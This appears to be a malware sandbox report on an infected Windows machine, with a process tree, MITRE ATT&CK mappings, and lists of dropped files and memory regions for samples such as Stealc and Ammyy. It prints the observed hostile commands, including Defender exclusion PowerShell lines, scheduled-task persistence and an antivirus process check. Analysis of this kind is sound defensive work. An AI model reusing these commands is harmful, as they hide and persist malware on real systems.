C:\Windows\SysWOW64\tasklist.exeC:\Windows\System32\tasklist.exe10⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "x86" 2>NUL"10⤵
-
-
C:\Windows\SysWOW64\find.exeC:\Windows\System32\find.exe /i "64"10⤵
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe Query "HKLM\Hardware\Description\System\CentralProcessor\0"10⤵
-
-
C:\Windows\SysWOW64\find.exeC:\Windows\System32\find.exe /i "x86"10⤵
-
-
C:\Windows\SysWOW64\tasklist.exeC:\Windows\System32\tasklist.exe /FI "IMAGENAME eq Sophos.exe"10⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exeC:\Windows\System32\findstr.exe /i /c:"Sophos"10⤵
-
-
C:\Windows\SysWOW64\PING.EXEC:\Windows\System32\ping.exe 192.168.1.1 -n 210⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command "& {Get-Content -Path "'C:\Users\Admin\AppData\Local\Temp\Intxt1.ps1'" | Out-File -FilePath "'C:\Users\Admin\AppData\Local\Temp\Intxt2.ps1'" -Encoding ascii}" -Wait10⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\Intxt2.ps1"10⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\findstr.exeC:\Windows\System32\findstr.exe /i /b /v /c:"Name" /c:"----" "C:\Users\Admin\AppData\Local\Temp\Intxt1.txt"10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "Get-WmiObject" 2>NUL"10⤵
-
-
C:\Windows\SysWOW64\findstr.exeC:\Windows\System32\findstr.exe /i /c:"#"10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\System32\wbem\WMIC.exe process where "name like '%Get-WmiObject%'" get ExecutablePath,status /format:csv10⤵
-
C:\Windows\SysWOW64\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe process where "name like '%Get-WmiObject%'" get ExecutablePath,status /format:csv11⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c DIR /s "C:\Get-WmiObject*.exe" /B /O:D10⤵
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEC:\Windows\System32\ping.exe 192.168.1.1 -n 26⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
C:\Windows\SysWOW64\Files\Stealc.exe"C:\Windows\System32\Files\Stealc.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\YKJrnKYfcWj7.exe"C:\Users\Admin\AppData\Local\YKJrnKYfcWj7.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "00ecdb6e-4e79-4caf-b734-1c94b3519dd9c"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /tn "00ecdb6e-4e79-4caf-b734-1c94b3519dd9c" /tr "C:\ProgramData\ecdbeecafbcbddc.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\SysWOW64\Files\hack.exe"C:\Windows\System32\Files\hack.exe"3⤵
- Executes dropped EXE
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious behavior: MapViewOfSection
-
C:\windows\system32\mspaint.exeC:\windows\system32\mspaint.exe4⤵
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\SysWOW64\Files\POO.exe"C:\Windows\System32\Files\POO.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\XIxnuXFz.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\XIxnuXFz" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6656.tmp"4⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
-
-
-
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\Files\AA_v3.exe"C:\Windows\SysWOW64\Files\AA_v3.exe" -service -lunch1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Files\AA_v3.exe"C:\Windows\SysWOW64\Files\AA_v3.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\SYSTEM32\rundll32.exerundll32.exe "C:\ProgramData\AMMYY\aa_nts.dll",run3⤵
- Loads dropped DLL
-
-
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\ProgramData\ecdbeecafbcbddc.exe"C:\ProgramData\ecdbeecafbcbddc.exe"1⤵
- Executes dropped EXE
-
C:\ProgramData\ecdbeecafbcbddc.exeC:\ProgramData\ecdbeecafbcbddc.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv Jic206Y0aUmePtvAwcJTYg.0.21⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\Bloxflip Predictor.exe"C:\Windows\Bloxflip Predictor.exe"1⤵
- Drops startup file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\XIxnuXFz.exeC:\Users\Admin\AppData\Roaming\XIxnuXFz.exe1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\XIxnuXFz.exe"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\XIxnuXFz" /XML "C:\Users\Admin\AppData\Local\Temp\tmpADBF.tmp"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"2⤵
-
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\ProgramData\IntelSvc.exe"C:\ProgramData\IntelSvc.exe" w -install_service -install_service1⤵
-
C:\Users\Admin\AppData\Local\OneDrive\fontdrvhots.exe"C:\Users\Admin\AppData\Local\OneDrive\fontdrvhots.exe"1⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Windows\System32\fontdrvhost.exe"C:\Windows\System32\fontdrvhost.exe"1⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Access Token Manipulation
1Create Process with Token
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Access Token Manipulation
1Create Process with Token
1File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Hide Artifacts
2Hidden Files and Directories
2Impair Defenses
4Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Registry
2Obfuscated Files or Information
1Command Obfuscation
1Pre-OS Boot
1Bootkit
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Discovery
Browser Information Discovery
1Network Share Discovery
1Process Discovery
1Query Registry
5Remote System Discovery
1System Information Discovery
5System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
2Internet Connection Discovery
1Wi-Fi Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
manifest.json
manifest.json
6ymIvZirLhoJ
aa_nts.log
HBUyKmvtLILJ
Synaptics.exe
UL0LL0hjRGbI
config
web.ttf
web.ttf
crFTrJ0PhXFa
fuXqFoQGcKvB
blocklist
protocols.json
settings.dat
the-real-index
SiteList-Enterprise.json
Edge Profile.ico
content.js
HubApps
84530358-7a67-4ca6-9874-288e28f2836e.tmp
Network Persistent State
SCT Auditing Pending Reports
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index~RFe57f54d.TMP
sync_diagnostic.log
CloudConfigLog
CloudConfigLog
CloudConfigLog~RFe588538.TMP
OperationConfig
OperationConfig~RFe5883f0.TMP
Local State
Local State
Local State
Local State
Local State
nav_config.json
089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres
49dbe2955480c7f6ef8cec9c4320c9868d9293fd.tbres
5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
._cache_Synaptics.exe
85014030-191f-49ee-8e15-2cee18061e1a.tmp
9145.bat
CD875E00
Confirmed.cmd
Bloxflip%20Predictor.exe
ChatLife.exe
CrazyCoach.exe
EakLauncher.exe
G7_Update.exe
Round_Setup.exe
Software.exe
hailhydra.exe
keygen.exe
random.exe
setup.exe
vnc.exe
IntelSvc.exe
Intxt2.ps1
VCRUNTIME140.dll
_ctypes.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
base_library.zip
libffi-8.dll
python311.dll
ucrtbase.dll
__PSScriptPolicyTest_egeaj5vq.1oj.ps1
ec4dd90b-87d8-43bb-9808-e77a8884f7eb.tmp
8fc64484-a8c4-4802-926c-e9470b3f2a4e.tmp
stwinvr.cmd
yC668HhH.xlsm
YKJrnKYfcWj7.exe
testvb2.vbs
AA_v3.exe
POO.exe
Stealc.exe
View.exe
Xbest%20V1.exe
arce.exe
hack.exe
pornhub_downloader.exe
memory/1068-133-0x0000000000440000-0x0000000000448000-memory.dmp
memory/1068-135-0x0000000004CB0000-0x0000000004D4C000-memory.dmp
memory/1916-130-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/1916-129-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/1916-519-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/1988-1268-0x00000000057E0000-0x0000000005B34000-memory.dmp
memory/1988-1269-0x00000000061E0000-0x000000000622C000-memory.dmp
memory/1988-1284-0x00000000081B0000-0x000000000882A000-memory.dmp
memory/2788-1-0x00000000004A0000-0x00000000004A1000-memory.dmp
memory/2788-128-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/2788-0-0x0000000002250000-0x0000000002251000-memory.dmp
memory/3212-2489-0x0000000008770000-0x0000000008771000-memory.dmp
memory/3212-1255-0x000000000B730000-0x000000000B7B3000-memory.dmp
memory/3212-2581-0x0000000007940000-0x0000000007941000-memory.dmp
memory/3212-2568-0x0000000001300000-0x0000000001301000-memory.dmp
memory/3212-2569-0x0000000001310000-0x0000000001311000-memory.dmp
memory/3212-2548-0x0000000007910000-0x0000000007911000-memory.dmp
memory/3212-2549-0x0000000007920000-0x0000000007921000-memory.dmp
memory/3212-2526-0x00000000078F0000-0x00000000078F1000-memory.dmp
memory/3212-2527-0x0000000007900000-0x0000000007901000-memory.dmp
memory/3212-2507-0x0000000008B40000-0x0000000008B41000-memory.dmp
memory/3212-2508-0x0000000009C80000-0x0000000009C81000-memory.dmp
memory/3212-2436-0x00000000089A0000-0x00000000089A1000-memory.dmp
memory/3212-2636-0x0000000008CD0000-0x0000000008CD1000-memory.dmp
memory/3212-2490-0x00000000089E0000-0x00000000089E1000-memory.dmp
memory/3212-2400-0x0000000001210000-0x0000000001211000-memory.dmp
memory/3212-2435-0x0000000001320000-0x0000000001321000-memory.dmp
memory/3212-2686-0x0000000008CF0000-0x0000000008CF1000-memory.dmp
memory/3212-2606-0x0000000008B30000-0x0000000008B31000-memory.dmp
memory/3212-2421-0x0000000008080000-0x0000000008081000-memory.dmp
memory/3212-2637-0x0000000008D60000-0x0000000008D61000-memory.dmp
memory/3212-2605-0x0000000007960000-0x0000000007961000-memory.dmp
memory/3212-1250-0x000000000B730000-0x000000000B7B3000-memory.dmp
memory/3212-2638-0x0000000008D70000-0x0000000008D71000-memory.dmp
memory/3212-2580-0x0000000007930000-0x0000000007931000-memory.dmp
memory/3212-2422-0x0000000008720000-0x0000000008721000-memory.dmp
memory/3212-2712-0x0000000008D00000-0x0000000008D01000-memory.dmp
memory/3212-2713-0x0000000008D10000-0x0000000008D11000-memory.dmp
memory/3212-1275-0x0000000008E50000-0x0000000008E83000-memory.dmp
memory/3212-1273-0x000000000B730000-0x000000000B7B3000-memory.dmp
memory/3212-1272-0x000000000B730000-0x000000000B7B3000-memory.dmp
memory/3212-1271-0x0000000001230000-0x0000000001231000-memory.dmp
memory/3212-1270-0x0000000001220000-0x0000000001221000-memory.dmp
memory/3212-1277-0x000000000B730000-0x000000000B7B3000-memory.dmp
memory/3212-2672-0x0000000008D80000-0x0000000008D81000-memory.dmp
memory/3212-2671-0x0000000007950000-0x0000000007951000-memory.dmp
memory/3212-2685-0x0000000008CE0000-0x0000000008CE1000-memory.dmp
memory/3872-338-0x000001DAEEFC0000-0x000001DAEEFE2000-memory.dmp
memory/3896-203-0x00007FFDAB8A0000-0x00007FFDAB8B0000-memory.dmp
memory/3896-189-0x00007FFDADE30000-0x00007FFDADE40000-memory.dmp
memory/3896-188-0x00007FFDADE30000-0x00007FFDADE40000-memory.dmp
memory/3896-187-0x00007FFDADE30000-0x00007FFDADE40000-memory.dmp
memory/3896-191-0x00007FFDADE30000-0x00007FFDADE40000-memory.dmp
memory/3896-190-0x00007FFDADE30000-0x00007FFDADE40000-memory.dmp
memory/3896-202-0x00007FFDAB8A0000-0x00007FFDAB8B0000-memory.dmp
memory/4056-297-0x0000016B34D00000-0x0000016B34EE0000-memory.dmp
memory/4912-201-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/5316-1287-0x00000000057C0000-0x0000000005B14000-memory.dmp
memory/5952-1159-0x00007FFDBF160000-0x00007FFDBF179000-memory.dmp
memory/5952-650-0x00007FFDA8400000-0x00007FFDA8423000-memory.dmp
memory/5952-521-0x00007FFDDAC90000-0x00007FFDDAC9F000-memory.dmp
memory/5952-520-0x00007FFDC0510000-0x00007FFDC0534000-memory.dmp
memory/5952-494-0x00007FFDA6FA0000-0x00007FFDA7592000-memory.dmp
memory/5952-591-0x00007FFDBFAC0000-0x00007FFDBFAED000-memory.dmp
memory/5952-595-0x00007FFDA6E20000-0x00007FFDA6F9E000-memory.dmp
memory/5952-1137-0x00007FFDA6FA0000-0x00007FFDA7592000-memory.dmp
memory/5952-1149-0x00007FFDBBE20000-0x00007FFDBBE34000-memory.dmp
memory/5952-1150-0x00007FFDC98D0000-0x00007FFDC98DD000-memory.dmp
memory/5952-1152-0x00007FFDA82D0000-0x00007FFDA8303000-memory.dmp
memory/5952-1153-0x00007FFDC0510000-0x00007FFDC0534000-memory.dmp
memory/5952-1154-0x00007FFDDAC90000-0x00007FFDDAC9F000-memory.dmp
memory/5952-1155-0x00007FFDBFAC0000-0x00007FFDBFAED000-memory.dmp
memory/5952-1157-0x00007FFDA8400000-0x00007FFDA8423000-memory.dmp
memory/5952-1158-0x00007FFDA6E20000-0x00007FFDA6F9E000-memory.dmp
memory/5952-1160-0x00007FFDD0D10000-0x00007FFDD0D1D000-memory.dmp
memory/5952-1161-0x00007FFDA6820000-0x00007FFDA6D49000-memory.dmp
memory/5952-1162-0x00007FFDA6D50000-0x00007FFDA6E1D000-memory.dmp
memory/5952-1156-0x00007FFDC98E0000-0x00007FFDC98F9000-memory.dmp
memory/5952-1151-0x00007FFDA6700000-0x00007FFDA681C000-memory.dmp
memory/5952-1136-0x00007FFDA82D0000-0x00007FFDA8303000-memory.dmp
memory/5952-870-0x00007FFDBF160000-0x00007FFDBF179000-memory.dmp
memory/5952-594-0x00007FFDA8400000-0x00007FFDA8423000-memory.dmp
memory/5952-651-0x00007FFDA6E20000-0x00007FFDA6F9E000-memory.dmp
memory/5952-624-0x00007FFDA6700000-0x00007FFDA681C000-memory.dmp
memory/5952-622-0x00007FFDC98D0000-0x00007FFDC98DD000-memory.dmp
memory/5952-611-0x00007FFDBBE20000-0x00007FFDBBE34000-memory.dmp
memory/5952-593-0x00007FFDC98E0000-0x00007FFDC98F9000-memory.dmp
memory/5952-609-0x00007FFDC0510000-0x00007FFDC0534000-memory.dmp
memory/5952-596-0x00007FFDBF160000-0x00007FFDBF179000-memory.dmp
memory/5952-598-0x00007FFDA82D0000-0x00007FFDA8303000-memory.dmp
memory/5952-597-0x00007FFDD0D10000-0x00007FFDD0D1D000-memory.dmp
memory/5952-602-0x00007FFDA6820000-0x00007FFDA6D49000-memory.dmp
memory/5952-601-0x000001E917B70000-0x000001E918099000-memory.dmp
memory/5952-599-0x00007FFDA6FA0000-0x00007FFDA7592000-memory.dmp
memory/5952-600-0x00007FFDA6D50000-0x00007FFDA6E1D000-memory.dmp
memory/5988-2438-0x000000006F2F0000-0x000000006F33C000-memory.dmp
memory/6272-1280-0x00007FF6B9A80000-0x00007FF6B9AFE000-memory.dmp
memory/6292-1336-0x0000000000400000-0x000000000073E000-memory.dmp
memory/6292-1302-0x0000000000400000-0x000000000073E000-memory.dmp
memory/6292-1303-0x0000000000400000-0x000000000073E000-memory.dmp
memory/6292-1304-0x0000000000400000-0x000000000073E000-memory.dmp
memory/6292-1301-0x0000000000400000-0x000000000073E000-memory.dmp
memory/6396-2599-0x00007FFDC98D0000-0x00007FFDC98FA000-memory.dmp
memory/6564-1240-0x0000000005BA0000-0x0000000005BEC000-memory.dmp
memory/6564-1218-0x0000000005380000-0x00000000053E6000-memory.dmp
memory/6564-1256-0x0000000007300000-0x00000000078A4000-memory.dmp
memory/6564-1254-0x0000000006170000-0x0000000006192000-memory.dmp
memory/6564-1212-0x00000000025B0000-0x00000000025E6000-memory.dmp
memory/6564-1213-0x0000000004CE0000-0x0000000005308000-memory.dmp
memory/6564-1216-0x0000000004B90000-0x0000000004BB2000-memory.dmp
memory/6564-1249-0x0000000006060000-0x000000000607A000-memory.dmp
memory/6564-1217-0x0000000004C30000-0x0000000004C96000-memory.dmp
memory/6564-1230-0x0000000005560000-0x00000000058B4000-memory.dmp
memory/6564-1239-0x0000000005B60000-0x0000000005B7E000-memory.dmp
memory/6564-1248-0x00000000060D0000-0x0000000006166000-memory.dmp
memory/6736-758-0x0000026B949D0000-0x0000026B949D8000-memory.dmp
memory/6768-1281-0x00007FF6B9A80000-0x00007FF6B9AFE000-memory.dmp
memory/6860-1251-0x00007FF674320000-0x00007FF67439E000-memory.dmp
memory/6860-1259-0x00007FF674320000-0x00007FF67439E000-memory.dmp
memory/6888-2401-0x0000000006010000-0x000000000605C000-memory.dmp
memory/6888-2461-0x0000000007010000-0x0000000007021000-memory.dmp
memory/6888-2446-0x0000000006E70000-0x0000000006E7A000-memory.dmp
memory/6888-2433-0x0000000006D50000-0x0000000006DF3000-memory.dmp
memory/6888-2432-0x0000000006090000-0x00000000060AE000-memory.dmp
memory/6888-2423-0x0000000006AC0000-0x0000000006AF2000-memory.dmp
memory/6888-2424-0x000000006F2F0000-0x000000006F33C000-memory.dmp
memory/6932-1321-0x0000000064200000-0x00000000642EE000-memory.dmp
memory/6952-1187-0x0000000000400000-0x0000000001444000-memory.dmp
memory/7104-2483-0x00007FFDA8400000-0x00007FFDA8424000-memory.dmp
memory/7104-2415-0x00007FFDA5D00000-0x00007FFDA5DCD000-memory.dmp
memory/7104-2420-0x00007FFDC5F20000-0x00007FFDC603A000-memory.dmp
memory/7104-2418-0x00007FFDDB470000-0x00007FFDDB47D000-memory.dmp
memory/7104-2416-0x00007FFDA6660000-0x00007FFDA6D25000-memory.dmp
memory/7104-2411-0x00007FFDD5D50000-0x00007FFDD5D5D000-memory.dmp
memory/7104-2412-0x00007FFDA8310000-0x00007FFDA8343000-memory.dmp
memory/7104-2408-0x00007FFDA8400000-0x00007FFDA8424000-memory.dmp
memory/7104-2409-0x00007FFDA6470000-0x00007FFDA65EF000-memory.dmp
memory/7104-2406-0x00007FFDBFAC0000-0x00007FFDBFAED000-memory.dmp
memory/7104-2407-0x00007FFDC7AC0000-0x00007FFDC7ADA000-memory.dmp
memory/7104-2417-0x00007FFDC9DC0000-0x00007FFDC9DD4000-memory.dmp
memory/7104-2389-0x00007FFDC0510000-0x00007FFDC0535000-memory.dmp
memory/7104-2390-0x00007FFDDAC90000-0x00007FFDDAC9F000-memory.dmp
memory/7104-2387-0x00007FFDA6660000-0x00007FFDA6D25000-memory.dmp
memory/7104-2419-0x00007FFDC0510000-0x00007FFDC0535000-memory.dmp
memory/7104-2414-0x00007FFDA5DD0000-0x00007FFDA62F9000-memory.dmp
memory/7104-2410-0x00007FFDC0640000-0x00007FFDC0659000-memory.dmp
memory/7104-2482-0x00007FFDA6660000-0x00007FFDA6D25000-memory.dmp
memory/7104-2469-0x00007FFDC0640000-0x00007FFDC0659000-memory.dmp
memory/7104-2480-0x00007FFDBFAC0000-0x00007FFDBFAED000-memory.dmp
memory/7104-2479-0x00007FFDDAC90000-0x00007FFDDAC9F000-memory.dmp
memory/7104-2478-0x00007FFDC0510000-0x00007FFDC0535000-memory.dmp
memory/7104-2477-0x00007FFDC7AC0000-0x00007FFDC7ADA000-memory.dmp
memory/7104-2476-0x00007FFDC5F20000-0x00007FFDC603A000-memory.dmp
memory/7104-2475-0x00007FFDDB470000-0x00007FFDDB47D000-memory.dmp
memory/7104-2474-0x00007FFDC9DC0000-0x00007FFDC9DD4000-memory.dmp
memory/7104-2472-0x00007FFDA5DD0000-0x00007FFDA62F9000-memory.dmp
memory/7104-2471-0x00007FFDA8310000-0x00007FFDA8343000-memory.dmp
memory/7104-2470-0x00007FFDD5D50000-0x00007FFDD5D5D000-memory.dmp
memory/7104-2468-0x00007FFDA6470000-0x00007FFDA65EF000-memory.dmp
memory/7104-2473-0x00007FFDA5D00000-0x00007FFDA5DCD000-memory.dmp